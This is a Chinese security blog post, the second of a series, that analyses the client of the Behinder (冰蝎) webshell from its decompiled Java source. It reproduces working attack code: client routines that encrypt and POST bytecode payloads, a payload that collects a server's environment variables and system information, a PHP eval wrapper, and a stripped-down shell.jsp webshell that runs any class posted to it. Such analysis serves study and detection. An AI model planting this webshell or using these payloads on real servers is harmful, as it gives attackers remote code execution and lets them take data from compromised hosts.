冰蝎（二）Java客户端实现

2022-11-10 09:11

前言

冰蝎解析（一）分析了Java服务端的具体实现，通过自定义类加载器ClassLoader.defineClass()实现将字节码加载至JVM中执行以达到执行任意Java代码的目的，那么接着上次的思路继续分析下冰蝎客户端的实现原理。

冰蝎Java客户端实现

利用jd-gui简单看下冰蝎的源码，其中net.rebeyond.behinder为其核心代码，其中core.ShellService.class为Webshell的操作类，负责调用其他类实现加解密、获取服务端基本信息、命令执行等；payload.java下class文件为Java服务端的具体实现，可以通过ASM框架可以修改其下class文件属性值生成可用payload字节数组；utils.Utils.class为通用操作的具体实现，如payload传输、接收返回结果并解析等。

如上，我们简单了解了冰蝎大致的源码结构。通过一个获取服务端基础信息的过程，我们再来看下冰蝎客户端的具体实现过程。

获取BasicInfo.class 字节数组

ShellService.class中getBasicInfo方法，调用Utils.getData方法获取payload.java下对应BasicInfo.class的字节数组；调用Utils.requestAndParse()发送payload并解析返回值。

 public String getBasicInfo(String whatever) throws Exception {
    String result = "";
    Map<String, String> params = new LinkedHashMap<>();
    params.put("whatever", whatever);
     //获取BasicInfo.class 字节数据，其中包含此payload的解密与生成过程
    byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType);
    //发送payload并解析返回结果
     Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
    byte[] resData = (byte[])resultObj.get("data");
    try {
      //解密返回结果
        result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
    } catch (Exception e) {
      throw new Exception("+ new String(resData, "UTF-8"));
    } 
    return result;
  }

跟进去到Utils.getData()，当传入的type参数为jsp时进入Params.getParamedClass()，获取对应className的字节数组，将其加密和编码处理并返回。

 public static byte[] getData(String key, int encryptType, String className, Map<String, String> params, String type, byte[] extraData) throws Exception {
    if (type.equals("jsp")) {
      byte[] bincls = Params.getParamedClass(className, params);
      if (extraData != null)
        bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData }); 
      byte[] encrypedBincls = Crypt.Encrypt(bincls, key);
      String basedEncryBincls = Base64.encode(encrypedBincls);
      return basedEncryBincls.getBytes();
    } 
    if (type.equals("php")) {
      byte[] bincls = Params.getParamedPhp(className, params);
      bincls = Base64.encode(bincls).getBytes();
      bincls = ("assert|eval(base64_decode('" + new String(bincls) + "'));").getBytes();
      if (extraData != null)
        bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData }); 
      byte[] encrypedBincls = Crypt.EncryptForPhp(bincls, key, encryptType);
      return Base64.encode(encrypedBincls).getBytes();
    } 
    if (type.equals("aspx")) {
      byte[] bincls = Params.getParamedAssembly(className, params);
      if (extraData != null)
        bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData }); 
      byte[] encrypedBincls = Crypt.EncryptForCSharp(bincls, key);
      return encrypedBincls;
    } 
    if (type.equals("asp")) {
      byte[] bincls = Params.getParamedAsp(className, params);
      if (extraData != null)
        bincls = CipherUtils.mergeByteArray(new byte[][] { bincls, extraData }); 
      byte[] encrypedBincls = Crypt.EncryptForAsp(bincls, key);
      return encrypedBincls;
    } 
    return null;
  }

继续进入Params.getParamedClass(className, params)方法，通过ASM框架将clsName对应的class文件转化成字节数组并返回。

public static byte[] getParamedClass(String clsName, final Map<String, String> params) throws Exception {
    String clsPath = String.format("net/rebeyond/behinder/payload/java/%s.class", new Object[] { clsName });
    ClassReader classReader = new ClassReader(String.format("net.rebeyond.behinder.payload.java.%s", new Object[] { clsName }));
    ClassWriter cw = new ClassWriter(1);
    classReader.accept((ClassVisitor)new ClassAdapter((ClassVisitor)cw) {
          public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {
            if (params.containsKey(filedName)) {
              String paramValue = (String)params.get(filedName);
              return super.visitField(arg0, filedName, arg2, arg3, paramValue);
            } 
            return super.visitField(arg0, filedName, arg2, arg3, arg4);
          }
        }0);
    byte[] result = cw.toByteArray();
    String oldClassName = String.format("net/rebeyond/behinder/payload/java/%s", new Object[] { clsName });
    if (!clsName.equals("LoadNativeLibrary")) {
      String newClassName = getRandomClassName(oldClassName);
      result = Utils.replaceBytes(result, Utils.mergeBytes(new byte[] { (byte)(oldClassName.length() + 2), 76 }, oldClassName.getBytes()), Utils.mergeBytes(new byte[] { (byte)(newClassName.length() + 2), 76 }, newClassName.getBytes()));
      result = Utils.replaceBytes(result, Utils.mergeBytes(new byte[] { (byte)oldClassName.length() }, oldClassName.getBytes()), Utils.mergeBytes(new byte[] { (byte)newClassName.length() }, newClassName.getBytes()));
    } 
    result[7] = 50;
    return result;
  }

BasicInfo.class的具体实现

以上完成了对应payload.java.BasicInfo.class的字节数组生成与加密过程，看下BasicInfo的具体实现。BaisicInfo.class中重写了equals方法，在此方法中完成了response、response、seesion对象的获取；服务端基本信息的获取、加密；结果的返回和解析。

public boolean equals(Object obj) {
    String result = "";
    try {
        //获取response、response、seesion对象
      fillContext(obj);
        //获取服务端基本信息
      StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量</font></br>");
      Map<String, String> env = System.getenv();
      for (String name : env.keySet())
        basicInfo.append(name + "=" + (String)env.get(name) + "<br/>"); 
      basicInfo.append("<br/><font size=2 color=red>JRE系统属性</font></br>");
      Properties props = System.getProperties();
      Set<Map.Entry<Object, Object>> entrySet = props.entrySet();
      for (Map.Entry<Object, Object> entry : entrySet)
        basicInfo.append((new StringBuilder()).append(entry.getKey()).append(" = ").append(entry.getValue()).append("<br/>").toString()); 
      String currentPath = (new File("")).getAbsolutePath();
      String driveList = "";
      File[] roots = File.listRoots();
      for (File f : roots)
        driveList = driveList + f.getPath() + ";"; 
      String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
      Map<String, String> entity = new HashMap<>();
      entity.put("basicInfo", basicInfo.toString());
      entity.put("currentPath", currentPath);
      entity.put("driveList", driveList);
      entity.put("osInfo", osInfo);
      entity.put("arch", System.getProperty("os.arch"));
        //将结果写入json字符串
      result = buildJson(entity, true);
    } catch (Exception exception) {
      try {
          
        Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
        Method write = so.getClass().getMethod("write", new Class[] { byte[].class });
        write.invoke(so, new Object[] { Encrypt(result.getBytes("UTF-8")) });
        so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
        so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
      } catch (Exception exception1) {}
    } finally {
      try {
          //将结果写入response对象
        Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]);
        Method write = so.getClass().getMethod("write", new Class[] { byte[].class });
        write.invoke(so, new Object[] { Encrypt(result.getBytes("UTF-8")) });
        so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]);
        so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]);
      } catch (Exception exception) {}
    } 
    return true;
  }


private void fillContext(Object obj) throws Exception {
    if (obj.getClass().getName().indexOf("PageContext") >= 0) {
      this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
      this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
      this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);
    } else {
      Map<String, Object> objMap = (Map<String, Object>)obj;
      this.Session = objMap.get("session");
      this.Response = objMap.get("response");
      this.Request = objMap.get("request");
    } 
    this.Response.getClass().getMethod("setCharacterEncoding", new Class[] { String.class }).invoke(this.Response, new Object[] { "UTF-8" });
  }


//将服务端基本信息写入json字符串的具体实现
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
    StringBuilder sb = new StringBuilder();
    String version = System.getProperty("java.version");
    sb.append("{");
    for (String key : entity.keySet()) {
      sb.append("\"" + key + "\":\"");
      String value = ((String)entity.get(key)).toString();
      if (encode)
        if (version.compareTo("1.9") >= 0) {
          getClass();
          Class<?> Base64 = Class.forName("java.util.Base64");
          Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
          value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") });
        } else {
          getClass();
          Class<?> Base64 = Class.forName("sun.misc.BASE64Encoder");
          Object Encoder = Base64.newInstance();
          value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") });
          value = value.replace("\n", "").replace("\r", "");
        }  
      sb.append(value);
      sb.append("\",");
    } 
    sb.setLength(sb.length() - 1);
    sb.append("}");
    return sb.toString();
  }

//AES加密结果
private byte[] Encrypt(byte[] bs) throws Exception {
    String key = this.Session.getClass().getMethod("getAttribute", new Class[] { String.class }).invoke(this.Session, new Object[] { "u" }).toString();
    byte[] raw = key.getBytes("utf-8");
    SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
    Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
    cipher.init(1, skeySpec);
    byte[] encrypted = cipher.doFinal(bs);
    return encrypted;
  }

发送payload并解析返回结果

Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
byte[] resData = (byte[])resultObj.get("data");
try {
    //解密返回结果
    result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType));
    } catch (Exception e) {
      throw new Exception("请求失败:"+ new String(resData, "UTF-8"));
    } 
return result;

Utils.requestAndParse()

 public static Map<String, Object> requestAndParse(String urlPath, Map<String, String> header, byte[] data, int beginIndex, int endIndex) throws Exception {
    Map<String, Object> resultObj = sendPostRequestBinary(urlPath, header, data);
    byte[] resData = (byte[])resultObj.get("data");
    if (beginIndex != 0 || endIndex != 0)
      if (resData.length - endIndex >= beginIndex)
        resData = Arrays.copyOfRange(resData, beginIndex, resData.length - endIndex);  
    resultObj.put("data", resData);
    return resultObj;
  }

Utils.sendPostRequestBinary()：构造POST请求发送payload到服务端并获取response返回结果

public static Map<String, Object> sendPostRequestBinary(String urlPath, Map<String, String> header, byte[] data) throws Exception {
    HttpURLConnection conn;
    Map<String, Object> result = new HashMap<>();
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    URL url = new URL(urlPath);
    if (MainController.currentProxy.get("proxy") != null) {
      Proxy proxy = (Proxy)MainController.currentProxy.get("proxy");
      conn = (HttpURLConnection)url.openConnection(proxy);
    } else {
      conn = (HttpURLConnection)url.openConnection();
    } 
    conn.setConnectTimeout(15000);
    conn.setUseCaches(false);
    conn.setRequestMethod("POST");
    if (header != null) {
      Object[] keys = header.keySet().toArray();
      Arrays.sort(keys);
      for (Object key : keys)
        conn.setRequestProperty(key.toString(), header.get(key)); 
    } 
    conn.setDoOutput(true);
    conn.setDoInput(true);
    conn.setUseCaches(false);
    OutputStream outwritestream = conn.getOutputStream();
    outwritestream.write(data);
    outwritestream.flush();
    outwritestream.close();
    if (conn.getResponseCode() == 200) {
      String encoding = conn.getContentEncoding();
      if (encoding != null) {
        if (encoding != null && encoding.equals("gzip")) {
          GZIPInputStream gZIPInputStream = null;
          gZIPInputStream = new GZIPInputStream(conn.getInputStream());
          DataInputStream din = new DataInputStream(gZIPInputStream);
          byte[] buffer = new byte[1024];
          int length = 0;
          while ((length = din.read(buffer)) != -1)
            bos.write(buffer, 0, length); 
        } else {
          DataInputStream din = new DataInputStream(conn.getInputStream());
          byte[] buffer = new byte[1024];
          int length = 0;
          while ((length = din.read(buffer)) != -1)
            bos.write(buffer, 0, length); 
        } 
      } else {
        DataInputStream din = new DataInputStream(conn.getInputStream());
        byte[] buffer = new byte[1024];
        int length = 0;
        while ((length = din.read(buffer)) != -1)
          bos.write(buffer, 0, length); 
      } 
    } else {
      DataInputStream din = new DataInputStream(conn.getErrorStream());
      byte[] buffer = new byte[1024];
      int length = 0;
      while ((length = din.read(buffer)) != -1)
        bos.write(buffer, 0, length); 
      throw new Exception(new String(bos.toByteArray(), "GBK"));
    } 
    byte[] resData = bos.toByteArray();
    result.put("data", resData);
    Map<String, String> responseHeader = new HashMap<>();
    for (String key : conn.getHeaderFields().keySet())
      responseHeader.put(key, conn.getHeaderField(key)); 
    responseHeader.put("status", conn.getResponseCode() + "");
    result.put("header", responseHeader);
    return result;
  }

在payload.java下所有的payload均是通过这种模式使用的。

编写一个Demo

编写一个无AES加密的冰蝎Demo实现获取服务端基本信息和命令执行，只需上述代码中加密部分删除并撤销密钥交换过程即可。更改后的shell.jsp

<%@ page import="java.util.Base64" %>
<%
    class U extends ClassLoader{
        Class g(byte[] bs){
            return super.defineClass(bs,0,bs.length);
        }
    }
    if (request.getMethod().equals("POST")){
        byte[] bs = Base64.getDecoder().decode(request.getReader().readLine());
        new U().g(bs).newInstance().equals(pageContext);
    }
%>

加密与密钥

payload加密

冰蝎使用AES加密传输payload，加密逻辑在net/rebeyond/core/Crypt.java。

在Utils.getData方法被调用将payload AES加密。

密钥协商

冰蝎3采用了预共享密钥确定密钥，逻辑代码为net/rebeyond/core/ShellService.java doConnect方法。

1、取客户端输入password MD5前16位作为currentKey。

this.currentKey = Utils.getKey(this.currentPassword);

2、环境为jsp，生成随机字符串content通过echo方法发送给服务端，payload加密使用的key为1中生成的key，以服务端返回值与content是否相等来判定客户端key是否正确；

其中echo方法的实现原理与getBasicInfo实现原理相同：通过ASM机制动态编译payload/java/Echo.java获取字节数组发送给服务端.

3、当预共享密钥交换失败时沿用冰蝎2方式交换密钥和cookie。

构造一个get请求发起握手，形如：http://1.1.1.1/bx.jsp?pass=123

结果判断和key提取

获取key的测试Demo，后续所有操作都依赖此key的加密。

总结

站在巨人肩膀上看世界。致谢项目作者：

rebeyond-https://github.com/rebeyond/Behinder

关

于

我

们

Tide安全团队正式成立于2019年1月，是新潮信息旗下以互联网攻防技术研究为目标的安全团队，团队致力于分享高质量原创文章、开源安全工具、交流安全技术，研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室，近三年来在网络安全技术方面开展研发项目60余项，获得各类自主知识产权30余项，省市级科技项目立项20余项，研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。

微信扫码关注该文公众号作者

戳这里提交新闻线索和高质量文章给我们。

来源: qq

点击查看作者最近其他文章